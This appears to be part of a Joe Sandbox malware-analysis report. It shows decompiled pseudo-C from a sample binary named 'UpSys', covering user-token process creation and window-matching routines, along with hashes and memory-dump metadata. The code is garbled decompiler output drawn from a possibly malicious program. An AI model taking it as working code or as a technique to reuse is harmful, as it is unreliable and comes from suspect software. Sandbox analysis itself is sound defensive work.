				if (E00000001140052BE0( !=  ? _t123 : bpl & 0xffffffff, 0, _t159, _t245, _t154, _t211,  *((intOrPtr*)(_t216 + 0x90)), _t216 + 0x70) == bpl) goto 0x4005346f;
				_t205 =  *((intOrPtr*)(_t216 + 0x168));
				 *((long long*)(_t205 + 0x10)) = L"winsta0\\default";
				if ( *((intOrPtr*)(_t216 + 0x150)) == _t213) goto 0x40053396;
				E00000001140016A44(_t102,  *((intOrPtr*)(_t216 + 0x150)));
				_t53 = _t154 + 1; // 0x1
				_t155 =  <  ? 0xffffffff : _t154;
				E00000001140016ED8(_t155, _t155);
				 *(_t216 + 0x60) = _t155;
				_t107 = E0000000114001760C(_t120, __esp, _t155,  *((intOrPtr*)(_t216 + 0x150)), _t205, _t53);
				r15d =  *((intOrPtr*)(_t216 + 0x128));
				if (r15b == bpl) goto 0x400533be;
				__imp__LoadUserProfileW();
				if (_t107 == 0) goto 0x40053468;
				if (( *(_t216 + 0x140) & 0x00000004) != 0) goto 0x400533e1;
				r8d = 0;
				__imp__CreateEnvironmentBlock();
				if (_t107 == 0) goto 0x40053468;
				 *((long long*)(_t216 + 0x50)) =  *((intOrPtr*)(_t216 + 0x170));
				 *((long long*)(_t216 + 0x48)) = _t205;
				 *((long long*)(_t216 + 0x40)) =  *((intOrPtr*)(_t216 + 0x160));
				asm("bts ecx, 0xa");
				 *((long long*)(_t216 + 0x38)) =  *((intOrPtr*)(_t216 + 0x88));
				 *((intOrPtr*)(_t216 + 0x30)) =  *((intOrPtr*)(_t216 + 0x158));
				r9d = 0;
				 *(_t216 + 0x28) =  *(_t205 + 0x3c) & 0x00000100;
				 *(_t216 + 0x20) = _t213;
				if (CreateProcessAsUserW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x40053472;
				if (r15b == bpl) goto 0x40053463;
				E00000001140043D50( *((intOrPtr*)(_t216 + 0x170)),  *((intOrPtr*)(_t216 + 0x170)),  *(_t216 + 0x60), _t211, _t213, _t216 + 0xd0, _t216 + 0x68);
				bpl = 1;
				goto 0x4005348a;
				goto 0x40053472;
				if ( *((intOrPtr*)(_t216 + 0xd0)) == _t213) goto 0x4005348a;
				__imp__UnloadUserProfile();
				E00000001140043B80( *((intOrPtr*)(_t216 + 0x88)),  *((intOrPtr*)(_t216 + 0x90)));
				CloseWindowStation(??);
				CloseDesktop(??);
				SetProcessWindowStation(??);
				CloseHandle(??);
				0x40016a60();
				__imp__DestroyEnvironmentBlock();
				return bpl;
			}



























                                                                                                                                                                                                        0x140053100
                                                                                                                                                                                                        0x140053103
                                                                                                                                                                                                        0x140053107
                                                                                                                                                                                                        0x140053116
                                                                                                                                                                                                        0x14005311f
                                                                                                                                                                                                        0x140053122
                                                                                                                                                                                                        0x140053125
                                                                                                                                                                                                        0x14005312c
                                                                                                                                                                                                        0x14005312c
                                                                                                                                                                                                        0x140053132
                                                                                                                                                                                                        0x140053135
                                                                                                                                                                                                        0x140053143
                                                                                                                                                                                                        0x14005314a
                                                                                                                                                                                                        0x140053152
                                                                                                                                                                                                        0x140053157
                                                                                                                                                                                                        0x14005315e
                                                                                                                                                                                                        0x14005316a
                                                                                                                                                                                                        0x14005316a
                                                                                                                                                                                                        0x140053179
                                                                                                                                                                                                        0x140053184
                                                                                                                                                                                                        0x14005318a
                                                                                                                                                                                                        0x140053192
                                                                                                                                                                                                        0x14005319e
                                                                                                                                                                                                        0x1400531a6
                                                                                                                                                                                                        0x1400531aa
                                                                                                                                                                                                        0x1400531b6
                                                                                                                                                                                                        0x1400531c6
                                                                                                                                                                                                        0x1400531cd
                                                                                                                                                                                                        0x1400531d2
                                                                                                                                                                                                        0x1400531d2
                                                                                                                                                                                                        0x1400531d6
                                                                                                                                                                                                        0x1400531db
                                                                                                                                                                                                        0x1400531e0
                                                                                                                                                                                                        0x1400531f0
                                                                                                                                                                                                        0x1400531fb
                                                                                                                                                                                                        0x140053206
                                                                                                                                                                                                        0x140053214
                                                                                                                                                                                                        0x14005321a
                                                                                                                                                                                                        0x140053226
                                                                                                                                                                                                        0x14005322c
                                                                                                                                                                                                        0x140053233
                                                                                                                                                                                                        0x140053239
                                                                                                                                                                                                        0x140053242
                                                                                                                                                                                                        0x140053252
                                                                                                                                                                                                        0x14005325f
                                                                                                                                                                                                        0x140053265
                                                                                                                                                                                                        0x14005326a
                                                                                                                                                                                                        0x140053276
                                                                                                                                                                                                        0x14005327f
                                                                                                                                                                                                        0x140053295
                                                                                                                                                                                                        0x1400532a5
                                                                                                                                                                                                        0x1400532b9
                                                                                                                                                                                                        0x1400532be
                                                                                                                                                                                                        0x1400532c3
                                                                                                                                                                                                        0x1400532cb
                                                                                                                                                                                                        0x1400532d0
                                                                                                                                                                                                        0x1400532d5
                                                                                                                                                                                                        0x1400532e0
                                                                                                                                                                                                        0x1400532f0
                                                                                                                                                                                                        0x140053304
                                                                                                                                                                                                        0x140053309
                                                                                                                                                                                                        0x14005330e
                                                                                                                                                                                                        0x140053316
                                                                                                                                                                                                        0x140053326
                                                                                                                                                                                                        0x14005332c
                                                                                                                                                                                                        0x140053346
                                                                                                                                                                                                        0x140053353
                                                                                                                                                                                                        0x140053358
                                                                                                                                                                                                        0x140053364
                                                                                                                                                                                                        0x140053370
                                                                                                                                                                                                        0x140053377
                                                                                                                                                                                                        0x140053385
                                                                                                                                                                                                        0x14005338a
                                                                                                                                                                                                        0x140053396
                                                                                                                                                                                                        0x1400533a1
                                                                                                                                                                                                        0x1400533b0
                                                                                                                                                                                                        0x1400533b8
                                                                                                                                                                                                        0x1400533c1
                                                                                                                                                                                                        0x1400533d0
                                                                                                                                                                                                        0x1400533d3
                                                                                                                                                                                                        0x1400533db
                                                                                                                                                                                                        0x1400533f8
                                                                                                                                                                                                        0x1400533fd
                                                                                                                                                                                                        0x140053407
                                                                                                                                                                                                        0x140053414
                                                                                                                                                                                                        0x140053418
                                                                                                                                                                                                        0x14005341d
                                                                                                                                                                                                        0x140053426
                                                                                                                                                                                                        0x14005342e
                                                                                                                                                                                                        0x140053432
                                                                                                                                                                                                        0x14005343f
                                                                                                                                                                                                        0x140053444
                                                                                                                                                                                                        0x14005345e
                                                                                                                                                                                                        0x140053463
                                                                                                                                                                                                        0x140053466
                                                                                                                                                                                                        0x14005346d
                                                                                                                                                                                                        0x14005347d
                                                                                                                                                                                                        0x140053484
                                                                                                                                                                                                        0x14005348d
                                                                                                                                                                                                        0x140053495
                                                                                                                                                                                                        0x14005349e
                                                                                                                                                                                                        0x1400534ac
                                                                                                                                                                                                        0x1400534b7
                                                                                                                                                                                                        0x1400534c0
                                                                                                                                                                                                        0x1400534cd
                                                                                                                                                                                                        0x1400534f0

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentOpenProfile$DestroyLoadLogonThreadTokenUnload
                                                                                                                                                                                                        • String ID: 8$default$winsta0$winsta0\default
                                                                                                                                                                                                        • API String ID: 2763742895-3511825095
                                                                                                                                                                                                        • Opcode ID: fd6f247d383261e8d85702d1d8917479929d7ab23ca3de16f8419a8739191618
                                                                                                                                                                                                        • Instruction ID: 7f607b3477076fae067c1b860d09b933df6460c2a4fe8178dec6d017f054a2f7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fd6f247d383261e8d85702d1d8917479929d7ab23ca3de16f8419a8739191618
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FBA13732208B8086E762DF26E8547DAB7A1F789BD0F844115FB8D07BA9CF39D449CB44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140063A10 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 150windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 3869813825-2766056989
                                                                                                                                                                                                        • Opcode ID: 3c385751849cb8d34187e3d37d9333217e430953476a222f4089a2fb4c14d959
                                                                                                                                                                                                        • Instruction ID: c5c69396f34664e3d43bd9f9a712b27ab3e06f15be415935c1e56cb11229bb76
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3c385751849cb8d34187e3d37d9333217e430953476a222f4089a2fb4c14d959
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 82715777224A80C6D7529F26E850B9973A1F788FD8F549125EF8E57768CF38C885CB80
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140057C60 Relevance: 27.2, APIs: 18, Instructions: 199windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Pixel$Color$ReleaseWindow$ClientMessageModeObjectRectSendStockText
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1902209021-0
                                                                                                                                                                                                        • Opcode ID: e3836653e788dc08a90bd7f28cd751f660c64c29f9cd5dfc4611a05114e614ce
                                                                                                                                                                                                        • Instruction ID: 17204682a0cb8871ef031211cb19c2a2eeb21228bb4f086d588fa4d18b55406d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e3836653e788dc08a90bd7f28cd751f660c64c29f9cd5dfc4611a05114e614ce
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F181853210054586EA76CB37A848BBA63B2E78D7E4F644621FBAE876F0DF39C441D714
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140081000 Relevance: 26.6, APIs: 6, Strings: 9, Instructions: 342COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 67%
                                                                                                                                                                                                        			E00000001140081000(void* __ecx, void* __edx, void* __edi, short* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, long long __r8, void* __r9, void* __r10, void* _a8, long long _a16, long long _a24, long long _a32, intOrPtr _a40, intOrPtr _a48, char _a56, intOrPtr _a64) {
				void* _v40;
				char _v72;
				char _v104;
				char _v136;
				char _v144;
				void* _v152;
				long long _v160;
				long long _v168;
				void* __rdi;
				void* _t130;
				intOrPtr _t141;
				signed char _t154;
				signed char _t174;
				void* _t199;
				short* _t245;
				intOrPtr* _t246;
				long long _t356;
				intOrPtr* _t358;

				_t245 = __rax;
				_t199 = __edx;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t358 = __rcx;
				_t356 = __r8;
				E00000001140013FC0(E00000001140013FC0(_t130, __rdx, __r9), __rdx, __rcx + 0x188);
				r11b = _a64;
				 *((intOrPtr*)(__rcx + 8)) = r11b;
				 *((char*)(__rcx + 9)) = _a56;
				E00000001140012600(__rcx + 0x18, __rdx);
				E00000001140012600(__rcx + 0x38, __r8);
				_t253 = __rcx + 0x148;
				E000000011400107E0(_t245, __rcx + 0x148, 0x4009b6c0, __r8);
				r13d = 0;
				 *(_t358 + 0xc) = r13d;
				 *((intOrPtr*)(_t358 + 0x14)) = _a40;
				 *(_t358 + 0x16c) = r13d;
				 *(_t358 + 0x180) = r13d;
				 *((intOrPtr*)(_t358 + 0x168)) = 1;
				 *(_t358 + 0x10) = dil;
				E0000000114000FD50(_t245, _t253,  &_v136);
				E0000000114000FD50(_t245, _t253,  &_v104);
				E0000000114000FD50(_t245, _t253,  &_v72);
				_t198 =  *((intOrPtr*)(_t358 + 0x14));
				if ( *((intOrPtr*)(_t358 + 0x14)) - r13d >= 0) goto 0x400810e6;
				_t141 = E00000001140017B74( *((intOrPtr*)(_t358 + 0x14)));
				 *(_t358 + 0x10) = r13b;
				 *((intOrPtr*)(_t358 + 0x14)) = _t141;
				if ( *((intOrPtr*)(_t358 + 0x14)) != 4) goto 0x400810fb;
				E0000000114007B5F0( *((intOrPtr*)(_t358 + 0x14)), _t199,  *((intOrPtr*)(_t358 + 0x14)) - 4, _t245, _t253, _t358, _t358 + 0x18, _t358, __r9, __r9);
				 *((intOrPtr*)(_t358 + 0x14)) = 1;
				if (E00000001140042380(_t245, _t358 + 0x18) == r13b) goto 0x4008113b;
				if (E00000001140042380(_t245, _t358 + 0x38) == r13b) goto 0x4008113b;
				GetForegroundWindow();
				E0000000114005AEB0(_t245, _t253, _t358, _t245);
				_t373 =  *_t358;
				_a8 =  *((intOrPtr*)( *_t358));
				goto 0x40081497;
				E00000001140002170(_t253, _t358 + 0x18, _t245);
				if ( *_t245 != 0x5b) goto 0x400814dc;
				E00000001140002170(_t253, _t358 + 0x18,  *((intOrPtr*)(_t358 + 0x20)) - 1);
				if ( *_t245 != 0x5d) goto 0x400814dc;
				_a8 = _t356;
				_t246 =  &_a8;
				_v160 =  *((intOrPtr*)(_t358 + 0x20)) - 2;
				_v168 = _t246;
				if (E0000000114007B460(_t253, _t358 + 0x18, _t356, _t358,  &_v136,  &_v104) == 0) goto 0x400814d9;
				if (E000000011400526A0(E0000000114007B460(_t253, _t358 + 0x18, _t356, _t358,  &_v136,  &_v104), _t246, _t253,  &_v136, L"LAST", _t358) != 0) goto 0x400814ac;
				if (E000000011400526A0(E000000011400526A0(E0000000114007B460(_t253, _t358 + 0x18, _t356, _t358,  &_v136,  &_v104), _t246, _t253,  &_v136, L"LAST", _t358), _t246, _t253,  &_v136, L"ACTIVE", _t358) != 0) goto 0x40081463;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E0000000114007B460(_t253, _t358 + 0x18, _t356, _t358,  &_v136,  &_v104), _t246, _t253,  &_v136, L"LAST", _t358), _t246, _t253,  &_v136, L"ACTIVE", _t358), _t246, _t253,  &_v136, L"HANDLE", _t358) != 0) goto 0x40081435;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E0000000114007B460(_t253, _t358 + 0x18, _t356, _t358,  &_v136,  &_v104), _t246, _t253,  &_v136, L"LAST", _t358), _t246, _t253,  &_v136, L"ACTIVE", _t358), _t246, _t253,  &_v136, L"HANDLE", _t358), _t246, _t253,  &_v136, L"REGEXPTITLE", _t358) == 0) goto 0x40081230;
				_t154 =  *(_t358 + 0xc);
				if ((dil & _t154) != 0) goto 0x40081421;
				 *(_t358 + 0xc) = _t154 | 0x00000002;
				E00000001140001150(_t154 | 0x00000002, _t253, _t358 + 0x58);
				goto 0x40081282;
				if (E000000011400526A0(dil & _t154, _t246, _t253,  &_v136, L"CLASS", _t358) == 0) goto 0x40081251;
				 *(_t358 + 0xc) =  *(_t358 + 0xc) | 0x00000008;
				goto 0x400813e7;
				if (E000000011400526A0(E000000011400526A0(dil & _t154, _t246, _t253,  &_v136, L"CLASS", _t358), _t246, _t253,  &_v136, L"REGEXPCLASS", _t358) == 0) goto 0x400812a1;
				 *(_t358 + 0xc) =  *(_t358 + 0xc) | 0x00000010;
				E00000001140001150(_t158, _t253, _t358 + 0xd0);
				E0000000114007B210( *((intOrPtr*)(_t358 + 0x14)), 1, E000000011400526A0(E000000011400526A0(dil & _t154, _t246, _t253,  &_v136, L"CLASS", _t358), _t246, _t253,  &_v136, L"REGEXPCLASS", _t358), _t253, _t358 + 0xd0,  &_v144, __r9,  &_v104,  &_v104, __r10,  *_t358);
				if ( *_t246 != 0) goto 0x40081417;
				_t254 = _t358 + 0x148;
				goto 0x4008117a;
				if (E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358) == 0) goto 0x400812d0;
				asm("bts dword [esi+0xc], 0x7");
				 *((intOrPtr*)(_t358 + 0x170)) = E000000011400177C4( *((intOrPtr*)(_t358 + 0x14)), E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, "X",  *_t358);
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358) == 0) goto 0x400812ff;
				asm("bts dword [esi+0xc], 0x8");
				 *((intOrPtr*)(_t358 + 0x174)) = E000000011400177C4(_t198, E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, "Y",  *_t358);
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358) == 0) goto 0x4008132e;
				asm("bts dword [esi+0xc], 0x9");
				 *((intOrPtr*)(_t358 + 0x178)) = E000000011400177C4(_t198, E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, "W",  *_t358);
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358) == 0) goto 0x4008135d;
				asm("bts dword [esi+0xc], 0xa");
				 *((intOrPtr*)(_t358 + 0x17c)) = E000000011400177C4(_t198, E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, "H", _t373);
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, _t358 + 0x148,  &_v136, L"INSTANCE", _t358) == 0) goto 0x4008138b;
				 *(_t358 + 0xc) =  *(_t358 + 0xc) | 0x00000020;
				 *((intOrPtr*)(_t358 + 0x168)) = E000000011400177C4(_t198, E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, _t358 + 0x148,  &_v136, L"INSTANCE", _t358), _t246, L"INSTANCE", _t373);
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, _t358 + 0x148,  &_v136, L"INSTANCE", _t358), _t246, _t254,  &_v136, L"ALL", _t358) == 0) goto 0x400813be;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, _t358 + 0x148,  &_v136, L"INSTANCE", _t358), _t246, _t254,  &_v136, L"ALL", _t358), _t246, _t254,  &_v104, 0x4009b6c0, _t358) == 0) goto 0x4008140f;
				 *(_t358 + 0xc) =  *(_t358 + 0xc) | 0x00000040;
				goto 0x4008117a;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0(E000000011400526A0( *_t246, _t246, _t358 + 0x148,  &_v136, "X", _t358), _t246, _t358 + 0x148,  &_v136, "Y", _t358), _t246, _t358 + 0x148,  &_v136, "W", _t358), _t246, _t358 + 0x148,  &_v136, "H", _t358), _t246, _t358 + 0x148,  &_v136, L"INSTANCE", _t358), _t246, _t254,  &_v136, L"ALL", _t358), _t246, _t254,  &_v104, 0x4009b6c0, _t358), _t246, _t254,  &_v136, L"TITLE", _t358) == 0) goto 0x400813f6;
				_t174 =  *(_t358 + 0xc);
				if ((_t174 & 0x00000002) != 0) goto 0x4008142b;
				 *(_t358 + 0xc) = _t174 | 0x00000001;
				E00000001140012600( &_v72,  &_v104);
				goto 0x4008117a;
				if (E0000000114005AF90(_t174 & 0x00000002) == 0) goto 0x4008117a;
				goto 0x400815a0;
				goto 0x400815a0;
				goto 0x400815a0;
				goto 0x400815a0;
				E0000000114003FE00(E0000000114005AF90(_t174 & 0x00000002), _t246, _t254, _v104,  &_a8, __r9, __r10);
				if (IsWindow(??) == 0) goto 0x400814d2;
				goto 0x40081481;
				if (E000000011400526A0(IsWindow(??), _t246, _t254,  &_v104, 0x4009b6c0, _t358) == 0) goto 0x4008140f;
				GetForegroundWindow();
				E0000000114005AEB0(_t246, _t254, _t358, _t246);
				_a8 =  *((intOrPtr*)( *_t358));
				E0000000114003E0C0(_t198,  *((intOrPtr*)( *_t358)), _t254, __r9,  &_a8, _t358);
				goto 0x400815a0;
				if (E000000011400526A0(E000000011400526A0(IsWindow(??), _t246, _t254,  &_v104, 0x4009b6c0, _t358),  *((intOrPtr*)( *_t358)), _t254,  &_v104, 0x4009b6c0, _t358) == 0) goto 0x4008140f;
				if ( *_t358 == 0) goto 0x400814d2;
				goto 0x4008148f;
				goto 0x400815a0;
				r13d = 0;
				if (E00000001140042380( *((intOrPtr*)( *_t358)),  &_v72) != r13b) goto 0x400814ff;
				E00000001140012600(_t358 + 0x18,  &_v72);
				if ( *(_t358 + 0xc) != r13d) goto 0x40081508;
				 *(_t358 + 0xc) = 0;
				 *(_t358 + 0xc) =  *(_t358 + 0xc) | 0x00000004;
				if ( *(_t358 + 0x10) != r13b) goto 0x4008151b;
				E000000011400160A0();
				if (( *(_t358 + 0xc) & dil) == 0) goto 0x40081530;
				if ( *(_t358 + 0x10) != r13b) goto 0x40081530;
				E000000011400160A0();
				if (_a48 == r13b) goto 0x40081555;
				GetDesktopWindow();
				EnumChildWindows(??, ??, ??);
				goto 0x40081565;
				EnumWindows(??, ??);
				E00000001140013FC0(E00000001140052260(0,  *((intOrPtr*)( *_t358)), _t254, __r9, _t358 + 0x188, _t358), _t254, _t358 + 0x188);
				if ( *(_t358 + 0x180) < 0) goto 0x4008159a;
				E00000001140002610(E00000001140002610(E00000001140002610(E0000000114005AEB0(_a8, _t254, _t358,  *((intOrPtr*)( *_a8))), _t254,  &_v72), _t254,  &_v104), _t254,  &_v136);
				return  *(_t358 + 0x180);
			}





















                                                                                                                                                                                                        0x140081000
                                                                                                                                                                                                        0x140081000
                                                                                                                                                                                                        0x140081000
                                                                                                                                                                                                        0x140081005
                                                                                                                                                                                                        0x14008100a
                                                                                                                                                                                                        0x14008101f
                                                                                                                                                                                                        0x140081028
                                                                                                                                                                                                        0x14008103a
                                                                                                                                                                                                        0x14008103f
                                                                                                                                                                                                        0x140081055
                                                                                                                                                                                                        0x140081059
                                                                                                                                                                                                        0x14008105c
                                                                                                                                                                                                        0x140081068
                                                                                                                                                                                                        0x14008106d
                                                                                                                                                                                                        0x14008107e
                                                                                                                                                                                                        0x14008108a
                                                                                                                                                                                                        0x140081097
                                                                                                                                                                                                        0x14008109b
                                                                                                                                                                                                        0x14008109e
                                                                                                                                                                                                        0x1400810a5
                                                                                                                                                                                                        0x1400810ac
                                                                                                                                                                                                        0x1400810b2
                                                                                                                                                                                                        0x1400810b6
                                                                                                                                                                                                        0x1400810c0
                                                                                                                                                                                                        0x1400810cd
                                                                                                                                                                                                        0x1400810d2
                                                                                                                                                                                                        0x1400810d8
                                                                                                                                                                                                        0x1400810da
                                                                                                                                                                                                        0x1400810df
                                                                                                                                                                                                        0x1400810e3
                                                                                                                                                                                                        0x1400810ea
                                                                                                                                                                                                        0x1400810f3
                                                                                                                                                                                                        0x1400810f8
                                                                                                                                                                                                        0x140081107
                                                                                                                                                                                                        0x140081115
                                                                                                                                                                                                        0x140081117
                                                                                                                                                                                                        0x140081123
                                                                                                                                                                                                        0x140081128
                                                                                                                                                                                                        0x14008112e
                                                                                                                                                                                                        0x140081136
                                                                                                                                                                                                        0x140081141
                                                                                                                                                                                                        0x14008114a
                                                                                                                                                                                                        0x14008115b
                                                                                                                                                                                                        0x140081164
                                                                                                                                                                                                        0x14008116e
                                                                                                                                                                                                        0x14008117a
                                                                                                                                                                                                        0x140081193
                                                                                                                                                                                                        0x140081198
                                                                                                                                                                                                        0x1400811a4
                                                                                                                                                                                                        0x1400811bd
                                                                                                                                                                                                        0x1400811d6
                                                                                                                                                                                                        0x1400811ef
                                                                                                                                                                                                        0x140081208
                                                                                                                                                                                                        0x14008120a
                                                                                                                                                                                                        0x140081210
                                                                                                                                                                                                        0x14008121d
                                                                                                                                                                                                        0x140081220
                                                                                                                                                                                                        0x14008122e
                                                                                                                                                                                                        0x140081243
